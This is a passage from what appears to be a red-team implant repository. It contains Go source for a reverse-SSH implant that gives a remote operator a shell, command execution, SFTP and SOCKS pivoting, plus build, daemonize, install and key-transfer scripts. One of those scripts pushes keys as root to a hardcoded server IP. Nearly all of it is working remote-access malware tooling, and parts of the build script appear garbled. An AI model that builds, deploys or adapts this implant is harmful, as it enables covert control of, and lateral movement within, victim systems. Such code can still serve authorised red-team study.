// transfer bytes from local SOCKS to remote proxied desired endpoint
transfer(local, remote)
default:
log.Printf("SOCKS: [%s] unsupported command, closing connection", local.RemoteAddr())
}
case 5:
authlen, buf := buf[1], buf[2:]
auths, buf := buf[:authlen], buf[authlen:]
if !bytes.Contains(auths, []byte{0}) {
log.Printf("SOCKS: [%s] unsuported SOCKS5 authentication method", local.RemoteAddr())
local.Write([]byte{0x05, 0xff})
return
}
local.Write([]byte{0x05, 0x00})
buf = make([]byte, 256)
n, err := local.Read(buf)
if err != nil {
log.Printf("SOCKS: [%s] unable to read SOCKS header: %v", local.RemoteAddr(), err)
return
}
buf = buf[:n]
switch version := buf[0]; version {
case 5:
switch command := buf[1]; command {
case 1:
buf = buf[3:]
switch addrtype := buf[0]; addrtype {
case 1:
if len(buf) < 8 {
log.Printf("SOCKS: [%s] corrupt SOCKS5 TCP/IP stream connection request", local.RemoteAddr())
local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
return
}
ip := net.IP(buf[1:5])
port := binary.BigEndian.Uint16(buf[5:6])
addr := &net.TCPAddr{IP: ip, Port: int(port)}
log.Printf("SOCKS: [%s] incoming SOCKS5 TCP/IP stream connection, raddr=%s", local.RemoteAddr(), addr)
// remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr)
remote, err := net.Dial("tcp4", addr.String())
if err != nil {
log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
return
}
local.Write([]byte{0x05, 0x00, 0x00, 0x01, ip[0], ip[1], ip[2], ip[3], byte(port >> 8), byte(port)})
transfer(local, remote)
case 3:
addrlen, buf := buf[1], buf[2:]
name, buf := buf[:addrlen], buf[addrlen:]
ip, err := net.ResolveIPAddr("ip", string(name))
if err != nil {
log.Printf("SOCKS: [%s] unable to resolve IP address: %q, %v", local.RemoteAddr(), name, err)
local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
return
}
port := binary.BigEndian.Uint16(buf[:2])
addr := &net.TCPAddr{IP: ip.IP, Port: int(port)}
// remote, err := dialer.DialTCP("tcp", local.RemoteAddr().(*net.TCPAddr), addr)
remote, err := net.Dial("tcp4", addr.String())
if err != nil {
log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
local.Write([]byte{0x05, 0x04, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
return
}
local.Write([]byte{0x05, 0x00, 0x00, 0x01, addr.IP[0], addr.IP[1], addr.IP[2], addr.IP[3], byte(port >> 8), byte(port)})
transfer(local, remote)
default:
log.Printf("SOCKS: [%s] unsupported SOCKS5 address type: %d", local.RemoteAddr(), addrtype)
local.Write([]byte{0x05, 0x08, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
}
default:
log.Printf("SOCKS: [%s] unknown SOCKS5 command: %d", local.RemoteAddr(), command)
local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
}
default:
log.Printf("SOCKS: [%s] unnknown version after SOCKS5 handshake: %d", local.RemoteAddr(), version)
local.Write([]byte{0x05, 0x07, 0x00, 0x01, 0, 0, 0, 0, 0, 0})
}
default:
log.Printf("SOCKS: [%s] unknown SOCKS version: %d", local.RemoteAddr(), version)
}
}
// transfer tranfers bytes
// in - local SOCKS conn (Red)
// out - remote desired endpoint (Blue)
func transfer(in, out net.Conn) {
wg := new(sync.WaitGroup)
wg.Add(2)
f := func(in, out net.Conn, wg *sync.WaitGroup) {
// copy bytes verbatim
n, err := io.Copy(out, in)
log.Printf("SOCKS: xfer done: in=%v\tout=%v\ttransfered=%d\terr=%v", in.RemoteAddr(), out.RemoteAddr(), n, err)
// close write side on local SOCKS
if conn, ok := in.(*net.TCPConn); ok {
conn.CloseWrite()
}
// close read side to remote endpoint
if conn, ok := out.(*net.TCPConn); ok {
conn.CloseRead()
}
wg.Done()
}
go f(in, out, wg)
f(out, in, wg)
wg.Wait()
out.Close()
}
================================================
FILE: src/traffic.go
================================================
package main
import (
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os"
"os/exec"
"sync"
"syscall"
"time"
"github.com/kr/pty"
"github.com/pkg/sftp"
"golang.org/x/crypto/ssh"
"github.com/gorilla/websocket"
)
// Listens for SSH connection
func listenConnection(client net.Conn, config *ssh.ServerConfig) {
// Before use, a handshake must be performed on the incoming net.Conn.
sshConn, chans, reqs, err := ssh.NewServerConn(client, config)
if err != nil {
log.Printf("SSH: Failed to handshake (%s)", err)
return
}
log.Printf("SSH: New connection from %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
// Discard all irrelevant incoming request but serve the one you really need to care.
// DiscardRequests consumes and rejects all requests from the
// passed-in channel.
// TODO: why we need this?
// go ssh.DiscardRequests(reqs)
go handleRequests(reqs)
// Accept all channels
go handleChannels(chans)
}
func listenSConnection(SClientConn net.Conn) {
go handleSConn(SClientConn)
}
func acceptLoop(listener net.Listener, config *ssh.ServerConfig) {
log.Printf("SSH: SSH Port Listener: %s\n", listener.Addr().String())
defer listener.Close()
for {
clientConn, err := listener.Accept()
if err != nil {
log.Fatal(err)
}
log.Printf("SSH: New connection found on %s\n", listener.Addr().String())
go listenConnection(clientConn, config)
}
}
func acceptSLoop(listener net.Listener) {
log.Printf("SSH: SOCKS Listener: %s\n", listener.Addr().String())
defer listener.Close()
for {
clientConn, err := listener.Accept()
log.Printf("local addr %s\n", clientConn.LocalAddr())
if err != nil {
log.Fatal(err)
}
log.Printf("SSH: SOCKS: New connection found on %s\n", listener.Addr().String())
go listenSConnection(clientConn)
}
log.Println("SSH: waiting for all existing connections to finish")
connections.Wait()
log.Println("SSH: shutting down")
}
func handleRequests(reqs <-chan *ssh.Request) {
for req := range reqs {
log.Printf("SSH: received out-of-band request: %+v", req)
}
}
// Start assigns a pseudo-terminal tty os.File to c.Stdin, c.Stdout,
// and c.Stderr, calls c.Start, and returns the File of the tty's
// corresponding pty.
func PtyRun(c *exec.Cmd, tty *os.File) (err error) {
defer tty.Close()
c.Stdout = tty
c.Stdin = tty
c.Stderr = tty
c.SysProcAttr = &syscall.SysProcAttr{
Setctty: true,
Setsid: true,
}
return c.Start()
}
func handleChannels(chans <-chan ssh.NewChannel) {
// Service the incoming Channel channel.
for newChannel := range chans {
// Channels have a type, depending on the application level
// protocol intended. In the case of a shell, the type is
// "session" and ServerShell may be used to present a simple
// terminal interface.
// TODO: other types of channels (x11, forwarded-tcp, direct-tcp) may need to be handled here
if t := newChannel.ChannelType(); t != "session" {
newChannel.Reject(ssh.UnknownChannelType, fmt.Sprintf("SSH: unknown channel type: %s", t))
continue
}
channel, requests, err := newChannel.Accept()
if err != nil {
log.Printf("SSH: could not accept channel (%s)", err)
continue
}
// allocate a terminal for this channel
log.Print("SSH: creating pty...")
// Create new pty
f, tty, err := pty.Open()
if err != nil {
log.Printf("SSH: could not start pty (%s)", err)
continue
}
var shell string
shell = os.Getenv("SHELL")
if shell == "" {
shell = SSHShell // Take defaults
}
// Sessions have out-of-band requests such as "exec", "shell", "pty-req" and "env"
go func(in <-chan *ssh.Request) {
for req := range in {
// log.Printf("%v %s", req.Payload, req.Payload)
ok := false
switch req.Type {
case "exec":
ok = true
command := string(req.Payload[4 : req.Payload[3]+4])
// Start Command via shell
// TODO: maybe without shell?
cmd := exec.Command(shell, []string{"-c", command}...)
log.Printf("SSH: cmd to exec: %s\n", command)
cmd.Stdout = channel
cmd.Stderr = channel
cmd.Stdin = channel
err := cmd.Start()
if err != nil {
log.Printf("SSH: could not start command (%s)", err)
continue
}
// Teardown session
go func() {
_, err := cmd.Process.Wait()
if err != nil {
log.Printf("SSH: failed to exit bash (%s)", err)
}
channel.Close()
log.Printf("SSH: session closed")
}()
case "shell":
// TODO: parameterize shell and TERM
cmd := exec.Command(shell)
cmd.Env = []string{"TERM=" + SSHEnvTerm}
err := PtyRun(cmd, tty)
if err != nil {
log.Printf("SSH: Error Pty: %s", err)
}
// Teardown session
var once sync.Once
closeCh := func() {
channel.Close()
log.Printf("SSH: session closed")
}
//pipe session to bash and visa-versa
go func() {
_, err := io.Copy(channel, f)
if err != nil {
log.Println(fmt.Sprintf("SSH: error copy BLUE SHELL -> RED remote : %s", err))
}
once.Do(closeCh)
}()
go func() {
_, err := io.Copy(f, channel)
if err != nil {
log.Println(fmt.Sprintf("error copy RED remote -> BLUE SHELL: %s", err))
}
once.Do(closeCh)
}()
// We don't accept any commands (Payload),
// only the default shell.
// TODO: What is this and do we need it?
if len(req.Payload) == 0 {
ok = true
}
case "pty-req":
// Responding 'ok' here will let the client
// know we have a pty ready for input
ok = true
// Parse body...
termLen := req.Payload[3]
termEnv := string(req.Payload[4 : termLen+4])
w, h := parseDims(req.Payload[termLen+4:])
SetWinsize(f.Fd(), w, h)
log.Printf("SSH: pty-req '%s'", termEnv)
case "window-change":
w, h := parseDims(req.Payload)
SetWinsize(f.Fd(), w, h)
continue //no response
case "subsystem":
log.Printf("SSH: Subsystem wanted: %s\n", req.Payload[4:])
subsystemId := string(req.Payload[4:])
if subsystemId == "sftp" {
debugStream := ioutil.Discard
serverOptions := []sftp.ServerOption{
sftp.WithDebug(debugStream),
}
server, err := sftp.NewServer(
channel,
serverOptions...,
)
if err != nil {
log.Println("SSH: SFTP error", err)
}
if err := server.Serve(); err == io.EOF {
server.Close()
log.Println("SSH: SFTP client exited session.")
} else if err != nil {
log.Println("SSH: SFTP server completed with error:", err)
}
ok = true
} else {
// TODO: Implement `env` type of *ssh.Request
log.Printf("Declining Subsystem: %s\n", subsystemId)
}
}
if !ok {
log.Printf("SSH: declining %s request...", req.Type)
}
req.Reply(ok, nil)
}
}(requests)
}
}
// In order to comply websocket to net.Conn interface it needs to implement Read/Write
// TODO: Refactor
func NewWebSocketConn(websocketConn *websocket.Conn) net.Conn {
c := wsConn{
Conn: websocketConn,
}
return &c
}
//Read is not threadsafe though thats okay since there
//should never be more than one reader
func (c *wsConn) Read(dst []byte) (int, error) {
ldst := len(dst)
//use buffer or read new message
var src []byte
if l := len(c.buff); l > 0 {
src = c.buff
c.buff = nil
} else {
t, msg, err := c.Conn.ReadMessage()
if err != nil {
return 0, err
} else if t != websocket.BinaryMessage {
log.Printf(" non-binary msg")
}
src = msg
}
//copy src->dest
var n int
if len(src) > ldst {
//copy as much as possible of src into dst
n = copy(dst, src[:ldst])
//copy remainder into buffer
r := src[ldst:]
lr := len(r)
c.buff = make([]byte, lr)
copy(c.buff, r)
} else {
//copy all of src into dst
n = copy(dst, src)
}
//return bytes copied
return n, nil
}
func (c *wsConn) Write(b []byte) (int, error) {
if err := c.Conn.WriteMessage(websocket.BinaryMessage, b); err != nil {
return 0, err
}
n := len(b)
return n, nil
}
func (c *wsConn) SetDeadline(t time.Time) error {
if err := c.Conn.SetReadDeadline(t); err != nil {
return err
}
return c.Conn.SetWriteDeadline(t)
}
================================================
FILE: src/types.go
================================================
package main
import (
"fmt"
"github.com/gorilla/websocket"
)
// Implant Types
// Endpoint: address:port
type Endpoint struct {
Host string
Port string
}
func (endpoint *Endpoint) String() string {
return fmt.Sprintf("%s:%s", endpoint.Host, endpoint.Port)
}
// Websocket connection
type wsConn struct {
*websocket.Conn
buff []byte
}
================================================
FILE: src/vars.go
================================================
package main
import "sync"
// Global vars
var connections = new(sync.WaitGroup)
// LD_FLAGS' modifiable constants
var (
SSHServerHost string //SSHServer host
SSHServerPort string //SSHServer port
SSHServerUser string //SSHServer user, logging in to SSHServer SSH
SSHRemoteCmdHost string //SSHRemote host
SSHRemoteCmdPort string //SSHRemote port
SSHRemoteCmdUser string //user logging in on reverse SSH shell, addt'l control
SSHRemoteCmdPwd string //pw for the ^^ user
SSHShell string // Default Shell
SSHEnvTerm string // Terminal for `exec` request type
SSHRemoteSocksHost string //SOCKS host
SSHRemoteSocksPort string //SOCKS port
SSHServerUserKey string // Encrypted RSA key for SSH tunnel. Embedded unwrap
SSHServerUserKeyUrl string // Where encrypted RSA key for SSH tunnel lives. Remote unwrap
SSHServerUserKeyPassphrase string // decryption key for ^^
HTTPProxy string // HTTP Proxy
HTTPProxyFromEnvironment string // HTTP Proxy set from the Blue environment
HTTPProxyAuthUser string // HTTP Proxy User
HTTPProxyAuthPass string // HTTP Proxy Pass
HTTPEndpoint string // HTTP Endpoint
WSEndpoint string // WS/S Endpoint
LogFile string // Log file for implant (debugging)
Daemonize string // Background our of the controlling terminal
PIDFile string // PID File for daemon
)
// SSHRemote reverse forwarding port for shell (on Red network)
var SSHRemoteEndpoint = Endpoint{
Host: SSHRemoteCmdHost,
Port: SSHRemoteCmdPort,
}
// SSHRemote reverse forwarding port for SOCKS (on Red network)
var SSHRemoteEndpointSOCKS = Endpoint{
Host: SSHRemoteSocksHost,
Port: SSHRemoteSocksPort,
}
================================================
FILE: tools/build_implant.sh
================================================
#!/bin/bash
usage(){
echo "Message: $2\n"
echo "Usage: $1 [build.profile]\n"
exit 1
}
if [[ $# -eq 0 ]]
then
BUILDCONF="./build.profile"
else
BUILDCONF=${1}
fi
if [[ -f ${BUILDCONF} ]]
then
source ${BUILDCONF}
else
usage $0 "Cannot find build configuration"
fi
#------------------------- Build --------------------#
export GOOS=${DropperOS} GOARCH=${DropperArch}
TOP_DIR="/Users/dimas/Code/go/src/sshpipe"
TOOL_DIR="${TOP_DIR}/tools"
CODE_DIR="${TOP_DIR}/src"
OUT_DIR="${TOP_DIR}/out/${ImplantID}"
[[ ! -d ${OUT_DIR} ]] && mkdir ${OUT_DIR}
cd ${TOP_DIR}
printf "\n\n\t%s\n" "Cutting Implant ID ${ImplantID} for target (${DropperOS}/${DropperArch})"
printf "\n%s\n" "### PHASE I: Implant Generation ###"
printf "%s\n\n" "------------------------------------"
echo "[*] Building Keys For ${ImplantID} "
go run ${TOOL_DIR}/keygen.go \
-bits ${SSHServerUserKeyBits} -pass ${SSHServerUserKeyPassphrase} \
-pkfile ${SSHServerUserKeyFile}.pk \
-pkfile-b64 ${SSHServerUserKeyFile}.bpk \
-pubfile ${SSHServerUserKeyFile}.pub
if [[ $? -eq 0 ]]
then
echo
echo "[*] Building dropper ${ImplantID} (${DropperName}) for ${DropperOS} / ${DropperArch} "
go build -buildmode=${DropperBuildType} -ldflags \
"-s -w \
-X main.ImplantID=${ImplantID} \
-X main.SSHShell=${SSHShell} \
-X main.SSHEnvTerm=${SSHEnvTerm} \
-X main.SSHServerPort=${SSHServerPort} \
-X main.SSHServerHost=${SSHServerHost} \
-X main.SSHServerUser=${SSHServerUser} \
-X main.SSHServerUserKey=$( cat ${SSHServerUserKeyFile}.bpk ) \
-X main.SSHServerUserKeyUrl=${SSHServerUserKeyUrl} \
-X main.SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase} \
-X main.SSHRemoteCmdHost=${SSHRemoteCmdHost} \
-X main.SSHRemoteCmdPort=${SSHRemoteCmdPort} \
-X main.SSHRemoteCmdUser=${SSHRemoteCmdUser} \
-X main.SSHRemoteCmdPwd=${SSHRemoteCmdPwd} \
-X main.SSHRemoteSocksHost=${SSHRemoteSocksHost} \
-X main.SSHRemoteSocksPort=${SSHRemoteSocksPort} \
-X main.HTTPProxyFromEnvironment=${HTTPProxyFromEnvironment} \
-X main.HTTPProxy=${HTTPProxy} \
-X main.HTTPProxyAuthUser=${HTTPProxyAuthUser} \
-X main.HTTPProxyAuthPass=${HTTPProxyAuthPass} \
-X main.HTTPEndpoint=${HTTPEndpoint} \
-X main.WSEndpoint=${WSEndpoint} \
-X main.LogFile=${LogFile} \
-X main.PIDFile=${PIDFile} \
-X main.Daemonize=${Daemonize}" \
-o ${OUT_DIR}/${DropperName} \
${CODE_DIR}/rssh.go ${CODE_DIR}/types.go ${CODE_DIR}/vars.go \
${CODE_DIR}/pty.go ${CODE_DIR}/socksport.go ${CODE_DIR}/keymgmt.go \
${CODE_DIR}/traffic.go
else
printf " %s\n" "KeyGen unsuccessful"
exit 2
fi
if [[ $? -eq 0 ]]
then
printf "\n\n%s\n\n" "**********************************************"
echo "Implant: ${DropperName} ($(stat -f '%z bytes' ${OUT_DIR}/${DropperName})) Generated"
echo "!!! Here is the info on Implant configuraton !!!"
echo "!!! Record the info somewhere safe and we have saved a copy here !!!"
echo "!!! Implant Info: ${OUT_DIR}/${ImplantID}.info !!!"
echo "!!! This info is mostly embedded in the Implant. !!!"
echo "!!! Again, save it, or you will need to regenerate the implant. !!!"
printf "%s\n\n" "**********************************************"
printf "%s\n\n" "-------------- START INFO--------------"
cat<}
(Blue) Implant Execution Context
Daemonize? ${Daemonize}
PIDFile: ${PIDFile}
LogFile (!! Debug locally !!): ${LogFile}
SSHEnvTerm ${SSHEnvTerm}
SSHShell ${SSHShell}
(Yellow/Red) Implant HTTP/WS/WSS Wrap Endpoints
HTTP Endpoint: ${HTTPEndpoint}
WS Endpoint: ${WSEndpoint}
(Yellow/Red) SSH Rendezvous Point:
SSHServerHost=${SSHServerHost}
SSHServerPort=${SSHServerPort}
SSHServerUser=${SSHServerUser}
(Yellow/Red) SSH Key Hosting / Embedding:
+SSHServerUserKeyFile=${SSHServerUserKeyFile}.bpk
SSHServerUserKeyUrl=${SSHServerUserKeyUrl}
SSHServerUserKeyPassphrase=${SSHServerUserKeyPassphrase}
(Red) RT Operator Interface to SSH Implant Channel:
SSHRemoteCmdHost=${SSHRemoteCmdHost}
SSHRemoteCmdPort=${SSHRemoteCmdPort}
(Red) RT Operator SSH Tunnel Usage and Authentication Info
SSHRemoteCmdUser=${SSHRemoteCmdUser}
SSHRemoteCmdPwd=${SSHRemoteCmdPwd}
(Red) RT Operator SOCKS Tunnel Usage Info:
SSHRemoteSocksHost=${SSHRemoteSocksHost}
SSHRemoteSocksPort=${SSHRemoteSocksPort}
END
printf "%s\n\n" "-------------- END INFO----------------"
echo "[*] Packaging ${ImplantID} for infrastructure deployment "
# pushd/popd not always available
cd ${OUT_DIR}
tar -cvzf ${ImplantID}.tar.gz ./${ImplantID}.{pk,bpk,pub}
cd -
printf "\n\n%s\n\n" "**********************************************"
echo "Based on your build profile you can expect the following Deployment Plan"
printf "%s\n\n" "**********************************************"
printf "\n%s\n" "### PHASE II: Red Infra Prep Deployment Guidance ###"
printf "%s\n\n" "----------------------------------------------------"
cat< 0:
# exit first parent
sys.exit(0)
except OSError as err:
sys.stderr.write('fork #1 failed: {0}\n'.format(err))
sys.exit(1)
# decouple from parent environment
os.chdir(idir)
os.setsid()
os.umask(0)
# do second fork
try:
pid = os.fork()
if pid > 0:
# exit from second parent
sys.exit(0)
except OSError as err:
sys.stderr.write('fork #2 failed: {0}\n'.format(err))
sys.exit(1)
# redirect standard file descriptors
sys.stdout.flush()
sys.stderr.flush()
si = open(os.devnull, 'r')
so = open(os.devnull, 'a+')
se = open(os.devnull, 'a+')
os.dup2(si.fileno(), sys.stdin.fileno())
os.dup2(so.fileno(), sys.stdout.fileno())
os.dup2(se.fileno(), sys.stderr.fileno())
if __name__ == '__main__':
# Start the daemon
if len(sys.argv) < 3:
print("Usage: /full/path/to/payload")
print(" type: bin|lib ")
sys.exit(1)
# preserve before daemonizing
itype = str(sys.argv[1])
ipath = str(os.path.abspath(sys.argv[2]))
daemonize("/tmp")
irun(ipath, itype)
================================================
FILE: tools/install_implant.sh
================================================
#!/bin/bash
#
#
# Build assumes Linux infra
#
#
#
usage(){
echo "$0 /path/.tar.gz"
exit 1
}
AGENT_PKG=""
AGENTID=""
AHOME_DIR="/tmp/"
if [[ $# -ne 1 ]]
then
usage
fi
if [[ -f $1 ]]
then
AGENT_PKG=$1
_t=$(/usr/bin/basename -- "${AGENT_PKG}")
AGENTID="${_t%.*.*}"
else
usage
fi
echo "[+] Checking if ${AGENTID} OS account is available"
/usr/bin/getent passwd $AGENTID >/dev/null
if [[ $? -eq 0 ]]
then
echo "User account is already present. Investigate. Halting"
exit 3
fi
echo "[+] Creating ${AGENTID} OS account"
AHOME="${AHOME_DIR}/${AGENTID}"
/usr/sbin/useradd -c ${AGENTID} -d ${AHOME} -m -N -s /bin/false ${AGENTID} \
-p $(dd if=/dev/urandom bs=1024 count=1 status=none | shasum | cut -c 1-31) # Throwaway password
if [[ -d ${AHOME} ]]
then
cd ${AHOME}
echo "[+] Setting up ${AGENTID} HOME"
chmod 700 ${AHOME}
mkdir ${AHOME}/.ssh && chown ${AGENTID} ${AHOME}/.ssh && chmod 700 ${AHOME}/.ssh
echo "[+] Unpacking SSH Keys from ${AGENTID}.tar.gz"
/bin/tar -xvzf ${AGENT_PKG} -C ${AHOME}/.ssh
echo "[+] Setting ${AGENTID} SSH keys"
chown ${AGENTID} ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk} && chmod 600 ${AHOME}/.ssh/${AGENTID}.{pk,pub,bpk}
echo "[+] Adding PUBLIC Key ${AHOME}/.ssh/${AGENTID} to Agent's Authorized keys file"
cat ${AHOME}/.ssh/${AGENTID}.pub > ${AHOME}/.ssh/authorized_keys
chown ${AGENTID} ${AHOME}/.ssh/authorized_keys
echo "[+] Currently, content of ${AGENTID} 's HOME: "
ls -ld ${AHOME}
ls -ld ${AHOME}/.ssh
ls -l ${AHOME}/.ssh/*
cd -
echo "[!!!] If not embedding PK into implant, host armored PK: ${AHOME}/.ssh/${AGENTID}.bpk "
else
echo "No ${AHOME} found ?"
fi
================================================
FILE: tools/keygen.go
================================================
// Ideas from:
// https://gist.githubusercontent.com/devinodaniel/8f9b8a4f31573f428f29ec0e884e6673/raw/d4d4495db6fcc6cce367c11a6f70ccfb65ba36a9/gistfile1.txt
//
// keygen.go -bits 4096 -pass "hello" -pkfile /tmp/agentx.pk -pkfile-b64 /tmp/agentx.bpk -pubfile /tmp/agentx.pub
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/base64"
"encoding/hex"
"encoding/pem"
"flag"
"fmt"
"golang.org/x/crypto/ssh"
"io"
"io/ioutil"
"log"
"os"
)
func main() {
var (
pkFile string
pkFileB64 string
pubFile string
passphrase string
bitSize *int
)
flag.StringVar(&pkFile, "pkfile", "/dev/null", "PK file path")
flag.StringVar(&pubFile, "pubfile", "/dev/null", "PUB file path")
flag.StringVar(&pkFileB64, "pkfile-b64", "/dev/null", "PK B64 file path")
flag.StringVar(&passphrase, "pass", "/dev/null", "Passphrase for PK")
bitSize = flag.Int("bits", 4096, "RSA bit size (default: 4096)")
flag.Parse()
fmt.Printf("[+] Generating PK\n")
privateKey, err := generatePrivateKey(*bitSize)
if err != nil {
log.Fatal(err.Error())
}
fmt.Printf("[+] Generating PUB from PK (SSH pub)\n")
publicKeyBytes, err := generatePublicKey(&privateKey.PublicKey)
if err != nil {
log.Fatal(err.Error())
}
fmt.Printf("[+] Encoding PK to PEM\n")
privateKeyBytes := encodePrivateKeyToPEM(privateKey)
fmt.Printf("[+] Writing PK to file: %s \n", pkFile)
err = writeKeyToFile(privateKeyBytes, pkFile)
if err != nil {
log.Fatal(err.Error())
}
fmt.Printf("[+] Writing PUB to file: %s \n", pubFile)
err = writeKeyToFile(publicKeyBytes, pubFile)
if err != nil {
log.Fatal(err.Error())
}
fmt.Printf("[+] Encrypting PK with passphrase (transmission/storage)\n")
// PK to BIN
ciphertext := encBytes(privateKeyBytes, passphrase)
// fmt.Printf("[*] PK (HEX) : [%x]... \n", ciphertext[:80])
// BIN to B64
fmt.Printf("[+] Encoding PK B64 armored PK (transmission)\n")
ciphertextB64 := base64.StdEncoding.EncodeToString([]byte(ciphertext))
// fmt.Printf("[*] PK (B64) : [%s]... \n", ciphertextB64[:80])
// Save PK to File
fmt.Printf("[+] Saving B64 armored PK to file: %s\n", pkFileB64)
writeKeyToFile([]byte(ciphertextB64), pkFileB64)
}
// generatePrivateKey creates a RSA Private Key of specified byte size
func generatePrivateKey(bitSize int) (*rsa.PrivateKey, error) {
// Private Key generation
privateKey, err := rsa.GenerateKey(rand.Reader, bitSize)
if err != nil {
return nil, err
}
// Validate Private Key
err = privateKey.Validate()
if err != nil {
return nil, err
}
log.Println("Private Key generated")
return privateKey, nil
}
// encodePrivateKeyToPEM encodes Private Key from RSA to PEM format
func encodePrivateKeyToPEM(privateKey *rsa.PrivateKey) []byte {
// Get ASN.1 DER format
privDER := x509.MarshalPKCS1PrivateKey(privateKey)
// pem.Block
privBlock := pem.Block{
Type: "RSA PRIVATE KEY",
Headers: nil,
Bytes: privDER,
}
// Private key in PEM format
privatePEM := pem.EncodeToMemory(&privBlock)
return privatePEM
}
// generatePublicKey takes a rsa.PublicKey and return bytes suitable for writing to .pub file
// returns in the format "ssh-rsa ..."
func generatePublicKey(privatekey *rsa.PublicKey) ([]byte, error) {
publicRsaKey, err := ssh.NewPublicKey(privatekey)
if err != nil {
return nil, err
}
pubKeyBytes := ssh.MarshalAuthorizedKey(publicRsaKey)
log.Println("Public key generated")
return pubKeyBytes, nil
}
// writeKeyToFile writes keys to a file
func writeKeyToFile(keyBytes []byte, saveFileTo string) error {
err := ioutil.WriteFile(saveFileTo, keyBytes, 0600)
if err != nil {
return err
}
log.Printf("Key saved to: %s", saveFileTo)
return nil
}
// strToHash hashes a string
func strHash(key string) string {
hasher := md5.New()
hasher.Write([]byte(key))
return hex.EncodeToString(hasher.Sum(nil))
}
// encBytes encrypts data with passphrase
func encBytes(data []byte, passphrase string) []byte {
block, _ := aes.NewCipher([]byte(strHash(passphrase)))
gcm, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
nonce := make([]byte, gcm.NonceSize())
if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
panic(err.Error())
}
ciphertext := gcm.Seal(nonce, nonce, data, nil)
return ciphertext
}
func decBytes(data []byte, passphrase string) []byte {
key := []byte(strHash(passphrase))
block, err := aes.NewCipher(key)
if err != nil {
panic(err.Error())
}
gcm, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
nonceSize := gcm.NonceSize()
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
panic(err.Error())
}
return plaintext
}
func encBinToFile(filename string, data []byte, passphrase string) {
f, _ := os.Create(filename)
defer f.Close()
f.Write(encBytes(data, passphrase))
}
func decBinFromFile(filename string, passphrase string) []byte {
data, _ := ioutil.ReadFile(filename)
return decBytes(data, passphrase)
}
================================================
FILE: tools/test_deploy.sh
================================================
#!/usr/bin/env bash
./tools/build_implant.sh ./conf/build.profile
./tools/transfer_implant_keys.sh ./out/4fa48c653682c3b04add14f434a3114/4fa48c653682c3b04add14f434a3114.tar.gz
#./tools/call_implant.py
================================================
FILE: tools/transfer_implant_keys.sh
================================================
#!/bin/bash
usage(){
echo "$1"
echo "$0 /path/.tar.gz"
exit 1
}
if [[ $# -eq 0 ]]
then
usage "need file"
fi
if [[ -f $1 ]]
then
source $1
else
usage $0 "Cannot find implant data file"
fi
IMPLANTFILE=$1
_t=$(/usr/bin/basename -- "$1")
IMPLANTID="${_t%.*.*}"
IHOST=167.99.88.24
IUSER=root
IDIR="/tmp"
INSTALL_SCRIPT="./tools/install_implant.sh"
echo "Copying ${IMPLANT_FILE} and ${INSTALL_SCRIPT} to ${IHOST}"
scp $IMPLANTFILE ${INSTALL_SCRIPT} ${IUSER}@${IHOST}:${IDIR}
echo "Deleting remote user: ${IMPLANTID}"
ssh -tt ${IUSER}@${IHOST} userdel -r ${IMPLANTID}
echo "Installing: ${IMPLANTID}"
ssh -tt ${IUSER}@${IHOST} ${IDIR}/install_implant.sh ${IDIR}/${IMPLANTID}.tar.gz